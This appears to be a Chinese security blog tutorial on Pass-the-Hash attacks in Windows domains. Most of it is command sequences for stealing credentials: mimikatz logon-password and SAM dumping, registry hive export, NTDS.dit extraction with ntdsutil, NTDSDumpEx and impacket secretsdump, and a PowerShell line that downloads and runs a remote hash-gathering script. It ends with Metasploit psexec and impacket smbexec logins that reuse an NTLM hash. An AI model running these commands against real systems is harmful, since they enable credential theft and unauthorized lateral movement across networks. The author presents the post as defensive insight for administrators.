万网极研社TIDE_网络安全无忧·日更

HASH传递(PTH)

2019-10-22  本文已影响0人  RabbitMask

PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是再目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的,二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只有hash,我们依然可以正常登录。
PTH攻击最酷的地方并不是hash传递利用的过程,而是hash的获取过程,所以接下来90%的篇幅为hash获取的内容,开工!

Hash获取

普通PC的Hash获取
privilege::debug
sekurlsa::logonpasswords
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.15.216:8888/Gather/Get-PassHashes.ps1');Get-PassHashes

mimikatz的原生命令在这里有些不在适用,但记得hash获取命令:mimikatz_command -f samdump::hashes

导出SAM数据:

reg save HKLM\SYSTEM SYSTEM 
reg save HKLM\SAM SAM

使用mimikatz提取hash:

lsadump::sam /sam:SAM /system:SYSTEM
域的Hash获取

首先同普通PC的Hash获取思路,但是不一样的是,你要晓得两件事情

NTDS.dit获取域控hash
这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。

ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

我这里域用户只有几个,文件高达36M。

接下来我们需要提取用户hash,推荐NTDSDumpEx:

工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -s system -o domain.txt

同样,再推荐个工具,还是我们多次提到过的python第三方库impacket下的secretsdump。

python secretsdump.py -system SYSTEM -ntds ntds.dit local

为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,就是把我们的手工任务自动执行一边,放在最后说也是为了让大家明白它的工作原理。

python secretsdump.py rabbitmask:1q2w3e4r!@192.168.15.181

首先它会导出本地SAM中的hash:

然后是所有域内用户的IP,全部获取成功。

Hash传递

首先恭喜在读的你,终于熬到了扣题的环节,这里我们提两种方式。

msf_psexec模块
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4
impacket_smbexec
python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181

or

python smbexec.py -hashes :0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181

显然,其实它只需要NThash部分就好啦。

END

这就是内网渗透中的PTH操作,与其说是漏洞,其实他是验证逻辑中的一部分,希望本文可以提供给域管一些来自对立面的加固思路,感谢一位不愿透露姓名内网渗透大佬的全程指导,鞠躬。

上一篇下一篇

猜你喜欢

热点阅读